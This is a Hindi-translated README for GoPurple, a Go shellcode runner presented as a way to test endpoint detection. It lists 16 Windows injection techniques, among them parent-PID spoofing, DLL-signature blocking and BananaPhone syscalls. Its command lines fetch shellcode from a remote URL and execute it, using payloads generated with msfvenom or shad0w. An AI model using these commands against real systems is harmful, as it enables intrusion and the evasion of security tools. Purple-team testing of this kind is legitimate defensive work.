
एक और shellcode runner जो endpoint security solutions की detection capabilities का मूल्यांकन करने के लिए विभिन्न तकनीकों से बना है।
यह परियोजना विभिन्न शेल कोड इंजेक्शन तकनीकों का एक सरल संग्रह है, जिसका उद्देश्य एंडपॉइंट डिटेक्शन मूल्यांकन की प्रक्रिया को सुव्यवस्थित करना है, साथ ही खुद को गोलांग की दुनिया में प्रवेश करने की चुनौती देना है।
1 - go इंस्टॉल होना आवश्यक है।
2 - प्रोजेक्ट की निर्देशिका से एप्लिकेशन बनाएं: go build। यदि बिल्ड सिस्टम विंडोज नहीं है तो GOOS=windows सेट करें।
_____ _
/ ____| | |
| | __ ___ _ __ _ _ _ __ _ __ | | ___
| | |_ |/ _ \| '_ \| | | | '__| '_ \| |/ _ \
| |__| | (_) | |_) | |_| | | | |_) | | __/
\_____|\___/| .__/ \__,_|_| | .__/|_|\___|
| | | |
|_| |_| by @s3cdev
-a string
प्रोग्राम कमांड लाइन तर्क
-b string
ब्लॉक DLL मोड (QueueUserAPC के लिए nonms/onlystore)
-p int
शेलकोड इंजेक्ट करने के लिए प्रक्रिया ID
-prog string
इंजेक्ट करने के लिए प्रोग्राम
-t string
उपयोग करने की शेलकोड इंजेक्शन तकनीक:
1: CreateFiber
2: syscall
3: CreateThreadNative
4: CreateProcess
5: EtwpCreateEtwThread
6: CreateRemoteThread
7: RtlCreateUserThread
8: CreateThread
9: CreateRemoteThreadNative
10: CreateProcessWithPipe
11: QueueUserAPC
12: CreateThreadpoolWait
13: BananaPhone
14: EnumerateLoadedModules
15: EnumChildWindows
16: EnumPageFilesW
-u string
शेलकोड होस्ट करने वाला URL
एक शेलकोड उत्पन्न करने की आवश्यकता है, यह msfvenom या shad0w जैसे उपकरणों का उपयोग करके किया जा सकता है। फिर शेलकोड को रिमोट मशीन पर डाउनलोड और निष्पादित करने के लिए होस्ट किया जाना चाहिए। स्पष्टता के लिए, नीचे दिए गए डेमो टूल का उपयोग करने के विभिन्न तरीकों को दर्शाते हैं।
1 - BananaPhone विधि + शेलकोड जनरेटर के रूप में Shad0w का उपयोग करके शेलकोड इंजेक्शन

2 - QueueUserAPC तकनीक + शेलकोड जनरेटर के रूप में Shad0w + पैरेंट ID स्पूफिंग (पैरेंट ID के रूप में explorer) + स्पूफ किए गए पैरेंट द्वारा प्रक्रिया लॉन्च करना जिसमें शेलकोड (calc) होता है + अहस्ताक्षरित DLL हुक से प्रक्रिया की सुरक्षा करना, ताकि केवल Microsoft हस्ताक्षरित DLL ही प्रक्रिया में हुक कर सके।

3 - CreateFiber + शेलकोड जनरेटर के रूप में msfvenom का उपयोग करके शेलकोड इंजेक्शन

1 - gopurple.exe -u urlhostingpayload -t 1 (CreateFiber)
2 - gopurple.exe -u urlhostingpayload -t 2 (Syscall)
3 - gopurple.exe -u urlhostingpayload -t 3 (CreateThreadNative)
4 - gopurple.exe -u urlhostingpayload -t 4 (CreateProcess)
5 - gopurple.exe -u urlhostingpayload -t 5 (EtwpCreateEtwThread)
6 - gopurple.exe -u urlhostingpayload -t 6 -p targetprocess (CreateRemoteThread)
7 - gopurple.exe -u urlhostingpayload -t 7 -p targetprocess (RtlCreateUserThread)
8 - gopurple.exe -u urlhostingpayload -t 8 (CreateThread)
9 - gopurple.exe -u urlhostingpayload -t 9 -p targetprocess (CreateRemoteThreadNative)
10 - gopurple.exe -u urlhostingpayload -t 10 -prog porgram -a processargument (ex:C:\Windows\System32\WindowsPowerShell\v1.0) and processargument(ex:Get-Process) (CreateProcessWithPipe)
11 - gopurple.exe -u urlhostingpayload -t 11 -p targetpidasparentprocess -prog programtoinjectshellcodeinto -b methodtoblockdll(nonms or onlystore) (QueueUserAPC)
nonms = केवल वे DLL जो Microsoft द्वारा हस्ताक्षरित हैं, प्रक्रिया में हुक कर सकते हैं
onlystore = केवल Microsoft Store एप्लिकेशन की प्रक्रिया प्रक्रिया में हुक कर सकती है
12 - gopurple.exe -u urlhostingpayload -t 12 (CreateThreadpoolWait)
13 - gopurple.exe -u urlhostingpayload -t 13 (BananaPhone)
14- gopurple.exe -u urlhostingpayload -t 14 (EnumerateLoadedModules)
15- gopurple.exe -u urlhostingpayload -t 15 (EnumChildWindows)
16- gopurple.exe -u urlhostingpayload -t 16 (EnumPageFilesW)
सभी श्रेय निम्नलिखित लोगों को जाता है उनके शानदार शोध, उपकरणों और प्रेरणा के लिए:
ne0nd0g: इस परियोजना का अधिकांश भाग go-shellcode से लिया गया है
spotheplanet: ब्लॉगपोस्ट ने मुझे इस विधि को गोलांग में बदलने के लिए प्रेरित किया
_d00mfist: गोलांग में QueueUserAPC तकनीक का शानदार कार्यान्वयन
c__sto: BananaPhone तकनीक
batsec: महान shad0w
chiragsavla94: ProcessInjection से प्रेरित
S4R1N: नए वैकल्पिक कोड निष्पादन पेश करने के लिए
brimston3 को उनके समर्थन और योगदान के लिए धन्यवाद
(https://github.com/Ne0nd0g/go-shellcode)
(https://github.com/D00MFist/Go4aRun)
(https://github.com/BishopFox/sliver)
(https://posts.specterops.io/going-4-a-run-eb263838b944)
(https://github.com/C-Sto/BananaPhone)
(https://blog.xpnsec.com/protecting-your-malware)
(https://github.com/3xpl01tc0d3r/ProcessInjection)
(https://github.com/S4R1N/AlternativeShellcodeExec)
यह परियोजना केवल शैक्षिक और नैतिक परीक्षण उद्देश्यों के लिए बनाई गई है। पूर्व आपसी सहमति के बिना लक्ष्यों पर हमला करने के लिए GoPurple का उपयोग अवैध है। सभी लागू स्थानीय, राज्य और संघीय कानूनों का पालन करना अंतिम उपयोगकर्ता की जिम्मेदारी है। डेवलपर कोई देयता नहीं मानते हैं और इस प्रोग्राम के कारण किसी भी दुरुपयोग या क्षति के लिए जिम्मेदार नहीं हैं।